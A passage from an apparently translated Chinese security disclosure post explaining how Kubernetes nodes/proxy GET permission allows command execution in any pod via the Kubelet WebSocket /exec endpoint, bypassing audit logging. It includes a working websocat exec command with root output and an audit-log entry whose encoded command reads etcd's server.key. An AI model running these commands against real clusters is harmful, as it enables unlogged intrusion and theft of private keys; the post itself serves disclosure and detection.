在本文中,我将介绍当服务账户具有 nodes/proxy GET权限时,如何在许多 Kubernetes 集群中的每个 Pod 中执行代码。这个问题最初通过 Kubernetes 安全披露流程报告,但被认定为设计目的而关闭。
| 属性 | 详情 |
|---|---|
| 易受攻击的权限 | nodes/proxy GET |
| 测试的 Kubernetes 版本 | v1.34, v1.35 |
| 所需的网络访问 | Kubelet API(端口 10250) |
| 影响 | 在可达节点的任何 Pod 中执行代码 |
| 披露状态 | 不修复(设计目的) |
| 受影响的 Helm 图表 | 69 |
Kubernetes 管理员通常向需要访问 Pod 指标和容器日志等数据的服务账户授予 nodes/proxy资源的访问权限。因此,Kubernetes 监控工具通常需要此资源来读取数据。
nodes/proxy GET允许在使用 WebSocket 等连接协议时执行命令。这是因为 Kubelet 仅基于初始 WebSocket 握手的请求进行授权决策,而不 验证 Kubelet 的 /exec端点是否存在 CREATE权限,这些端点要求的权限完全取决于连接协议。
结果是任何具有对 nodes/proxy GET的服务账户访问权限且能够在端口 10250 连接到节点的 Kubelet 的人都可以向 /exec端点发送信息,在任何 Pod 中执行命令,包括特权系统 Pod ,可能导致完整的集群入侵。Kubernetes AuditPolicy 不记录通过直接连接到 Kubelet API 执行的命令。
这不是特定供应商的问题。 供应商广泛使用 nodes/proxy GET权限,因为没有通常可用的可行替代方案。快速搜索返回了 69 个提及 nodes/proxy GET权限的 helm 图表。一些图表默认包含它,而其他图表可能需要额外的选项配置。如果您有疑虑,请向供应商咨询并查看本文的检测部分。
注意 :一些图表要求启用相关功能才能使用 nodes/proxy。例如,cilium 必须配置为使用 Spire。
以下是一些值得注意的图表。有关已识别的 69 个 Helm 图表的完整列表,请参阅本文的附录:
以下 ClusterRole 显示了利用此漏洞所需的所有权限。
# Vulnerable ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: nodes-proxy-reader
rules:
- apiGroups: [""]
resources: ["nodes/proxy"]
verbs: ["get"]
作为集群管理员,您可以使用此检测脚本检查集群中所有服务账户的此权限。 如果服务账户易受攻击,可以使用 websocat 等工具在集群中的所有 Pod 中运行命令:
websocat --insecure \
--header "Authorization: Bearer $TOKEN"\
--protocol v4.channel.k8s.io \
"wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"
uid=0(root) gid=0(root) groups=0(root)
如果您想自己动手,我已经发布了一个实验室,用于演练如何在其他 Pod 中执行命令:https://labs.iximiuz.com/tutorials/nodes-proxy-rce-c9e436a9
快速回顾:Kubernetes RBAC 使用资源和动词来控制访问。资源如 pods、pods/exec或pods/logs映射到特定操作,动词如get、create或delete定义允许的操作。例如,具有create动词的pods/exec允许在 Pod 中执行命令,而具有get动词的pods/logs允许读取日志。
nodes/proxy资源很特殊。与大多数 Kubernetes 资源不同(如 pods/exec用于命令执行或 pods/logs用于日志访问),nodes/proxy是一个全能权限,控制对 Kubelet API 的访问。它通过授予对两个不同但略有关联的端点(称为 API 服务器代理 和 Kubelet API )的访问权限来实现这一点。
nodes/proxy授予访问的第一个端点是 API 服务器代理端点 $API_SERVER/api/v1/nodes/$NODE_NAME/proxy/...。
发送到此端点的请求从 API 服务器代理到目标节点的 Kubelet。这用于许多操作,但一些常见的操作包括:
$API_SERVER/api/v1/nodes/$NODE_NAME/proxy/metrics$API_SERVER/api/v1/nodes/$NODE_NAME/proxy/stats/summary$API_SERVER/api/v1/nodes/$NODE_NAME/proxy/containerLogs/$NAMESPACE/$POD_NAME/$CONTAINER_NAME可以使用 kubectl 的 --raw标志或直接使用 curl 访问这些。例如,向指标端点发送请求会返回一些基本指标信息:
# with kubectl
kubectl get --raw /api/v1/nodes/$NODE_NAME/proxy/metrics | head -n 10
# Or with curl
curl -sk -H "Authorization: Bearer $TOKEN"$API_SERVER/api/v1/nodes/$NODE_NAME/proxy/metrics | head -n 10
# HELP aggregator_discovery_aggregation_count_total [ALPHA] Counter of number of times discovery was aggregated
# TYPE aggregator_discovery_aggregation_count_total counter
aggregator_discovery_aggregation_count_total 0
# HELP apiserver_audit_event_total [ALPHA] Counter of audit events generated and sent to the audit backend.
# TYPE apiserver_audit_event_total counter
apiserver_audit_event_total 0
# HELP apiserver_audit_requests_rejected_total [ALPHA] Counter of apiserver requests rejected due to an error in audit logging backend.
# TYPE apiserver_audit_requests_rejected_total counter
apiserver_audit_requests_rejected_total 0
# HELP apiserver_client_certificate_expiration_seconds [ALPHA] Distribution of the remaining lifetime on the certificate used to authenticate a request.
由于该请求会经过 API Server,因此(如果配置了 AuditPolicy)会为 pods/exec和 subjectaccessreviews资源生成审计日志。在记录的 pods/exec请求中,注意 requestURI字段会显示在 Pod 中执行的完整命令。
// Request generated via AuditPolicy
{
"kind": "Event",
"apiVersion": "audit.k8s.io/v1",
"level": "Metadata",
"auditID": "196f4d69-6cfa-4812-b7b9-4bf13689cb8d",
"stage": "RequestReceived",
"requestURI": "/api/v1/namespaces/kube-system/pods/etcd-minikube/exec?command=sh&command=-c&command=filename%3D%2Fvar%2Flib%2Fminikube%2Fcerts%2Fetcd%2Fserver.key%3B+while+IFS%3D+read+-r+line%3B+do+printf+%22%25s%5C%5Cn%22+%22%24line%22%3Bdone+%3C+%22%24filename%22&container=etcd&stdin=true&stdout=true&tty=true",
"verb": "get",
"user": {
"username": "minikube-user",
"groups": [
"system:masters",
"system:authenticated"
],
"extra": {
"authentication.kubernetes.io/credential-id": [
"X509SHA256=3da792d1a94c5205821984a672707270a9f2d8e27190eb09051b15448e5bf0c3"
]
}
},
"sourceIPs": [
"192.168.67.1"
],
"userAgent": "kubectl/v1.31.0 (linux/amd64) kubernetes/9edcffc",
"objectRef": {
"resource": "pods",
"namespace": "kube-system",
"name": "etcd-minikube",
"apiVersion": "v1",
"subresource": "exec"
},
"requestReceivedTimestamp": "2025-11-04T05:42:51.025534Z",
"stageTimestamp": "2025-11-04T05:42:51.025534Z"
}
除了 API 服务器代理端点外,nodes/proxy资源还授予对 Kubelet API 的直接访问。请记住,每个节点都有一个 Kubelet 进程负责告诉容器运行时要创建哪些容器。
Kubelet 公开了各种 API 端点,提供与 API 服务器代理类似的信息。例如,我们可以通过直接查询 Kubelet API 返回与之前相同的指标数据。
curl -sk -H "Authorization: Bearer $TOKEN" https://$NODE_IP:10250/metrics | head -n 10
注意 :这里必须使用节点的 IP,而不是像通过 API Server 发起请求时那样使用节点名。
# HELP aggregator_discovery_aggregation_count_total [ALPHA] Counter of number of times discovery was aggregated
# TYPE aggregator_discovery_aggregation_count_total counter
aggregator_discovery_aggregation_count_total 0
# HELP apiserver_audit_event_total [ALPHA] Counter of audit events generated and sent to the audit backend.
# TYPE apiserver_audit_event_total counter
apiserver_audit_event_total 0
# HELP apiserver_audit_requests_rejected_total [ALPHA] Counter of apiserver requests rejected due to an error in audit logging backend.
# TYPE apiserver_audit_requests_rejected_total counter
apiserver_audit_requests_rejected_total 0
# HELP apiserver_client_certificate_expiration_seconds [ALPHA] Distribution of the remaining lifetime on the certificate used to authenticate a request.
有趣的是,这种与 Kubelet 的直接连接不经过 API 服务器,这意味着 Kubernetes AuditPolicy 仅生成检查执行操作授权的 subjectaccessreviews日志,但不 记录 pods/exec操作,防止我们看到在 Pod 中执行的完整命令。
{
"kind": "Event",
"apiVersion": "audit.k8s.io/v1",
"level": "Metadata",
"auditID": "1be86af9-26e7-40e9-aaae-bbb904df129b",
"stage": "ResponseComplete",
"requestURI": "/apis/authorization.k8s.io/v1/subjectaccessreviews",
"verb": "create",
"user": {
"username": "system:node:minikube",
"groups": [
"system:nodes",
"system:authenticated"
],
"extra": {
"authentication.kubernetes.io/credential-id": [
"X509SHA256=52d652baad2bfd4d1fa0bb82308980964f8c7fbf01784f30e096accd1691f889"
]
}
},
"sourceIPs": [
"192.168.67.2"
],
"userAgent": "kubelet/v1.34.0 (linux/amd64) kubernetes/f28b4c9",
"objectRef": {
"resource": "subjectaccessreviews",
"apiGroup": "authorization.k8s.io",
"apiVersion": "v1"
},
"responseStatus": {
"metadata": {},
"code": 201
},
"requestReceivedTimestamp": "2025-11-04T05:54:54.978676Z",
"stageTimestamp": "2025-11-04T05:54:54.979425Z",
"annotations": {
"authorization.k8s.io/decision": "allow",
"authorization.k8s.io/reason": ""
}
}
在编写本文时,Kubelet 的授权文档并未全面列出 Kubelet 的 API 端点。Kubelet 的 API 公开了这些额外的端点:
/exec:在容器中产生新进程并执行任意命令(交互式)/run:与 /exec非常相似,在容器中运行命令并检索输出(非交互式)/attach:附加到容器进程并访问其 stdin/stdout/stderr 流/portforward:创建网络隧道以将 TCP 连接转发到容器/exec和 /run端点将是我们的主要关注点。与 /metrics和 /stats等只读端点不同,/exec和 /run端点允许在容器内执行代码。
通常,在标准 Kubernetes RBAC 语义中,创建 Pod 或在 Pod 中执行代码等操作需要 CREATE RBAC 动词,而读操作需要 GET 动词。这使得很容易查看(集群)角色并识别它是否仅读。但是,如 Rory McCune 在博文"何时只读不是只读?"中指出的那样,这并不普遍适用。
nodes/proxy CREATE以可怕著称,并被充分记录为风险:
甚至 nccgroup 的一次安全审计也指出,当 nodes/proxy GET与 nodes/status PATCH或 nodes CREATE组合使用时会出现问题:
文档明确说明,发往 Kubelet 的请求与发往 API Server 代理路径的请求在授权上采用相同的方式:“kubelet 使用与 apiserver 相同的请求属性方式对 API 请求进行授权”。(见 kubelet-authorization 文档)
当向 API Server 发送一个常规请求时,Kubernetes 会读取 HTTP 方法(GET、POST、PUT……)并将其转换为 RBAC 的“verb”,例如 GET、CREATE、UPDATE。(auth.go:80-94)
Kubernetes 文档给出了 HTTP 动词到 RBAC 动词的映射:
按理说,这意味着 POST请求应一致地映射到 RBAC CREATE动词,而 GET请求映射到 RBAC GET动词。然而,当通过 WebSocket 等非 HTTP 通信协议访问 Kubelet 的 /exec端点时(根据 RFC,初始握手阶段需要一个 HTTP GET),Kubelet 的授权决策基于这个初始GET ,而不是随后发生的命令执行操作。结果就是:nodes/proxy GET会错误地允许执行本应需要 nodes/proxy CREATE的命令执行操作。
nodes/proxy权限授予服务账户对 Kubelet API 的访问权限。安全专业人员已明确指出,如我之前指出的那样,即使没有此漏洞,对 Kubelet API 的读访问也授予对 /metrics和 /containerLogs等只读端点的访问权限。
注意
我强烈建议检查这些是否包含机密或 API 密钥!
但是,这个问题呈现了一个更严重的问题:nodes/proxy GET授予对命令执行端点的写访问权限。
在本讨论中,我将使用具有以下 ClusterRole 的服务账户。
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: nodes-proxy-reader
rules:
- apiGroups: [""]
resources: ["nodes/proxy"]
verbs: ["get"]
如前所述,Kubelet 根据初始 HTTP 方法决定要检查哪个 RBAC 动词。POST请求映射到 RBAC CREATE动词,而 GET请求映射到 RBAC GET动词。
这很有趣,因为 Kubelet 上的命令执行端点(如 /exec)使用 WebSocket 进行双向数据流。由于 HTTP 不是实时双向通信的好选择,交互式命令执行需要像 WebSocket 或 SPDY 这样的协议。
有趣的是,WebSocket 协议要求在初始握手期间发送带有 Connection: Upgrade头的 HTTP GET请求来建立并升级到 WebSocket。
这意味着在任何 WebSocket 连接建立中发送的初始请求是带有 Connection: Upgrade头的 HTTP GET:
GET /exec HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
<snip>
由于在 WebSocket 连接期间发送的这个初始 GET请求,Kubelet 根据在 WebSocket 连接建立期间进行的这个初始 GET请求错误地授权请求,而不是在连接建立后验证执行的权限。
Kubelet 缺少在连接请求升级后的授权检查,并且在使用 WebSocket 时不会验证服务账户是否具有执行实际操作的权限。
这允许使用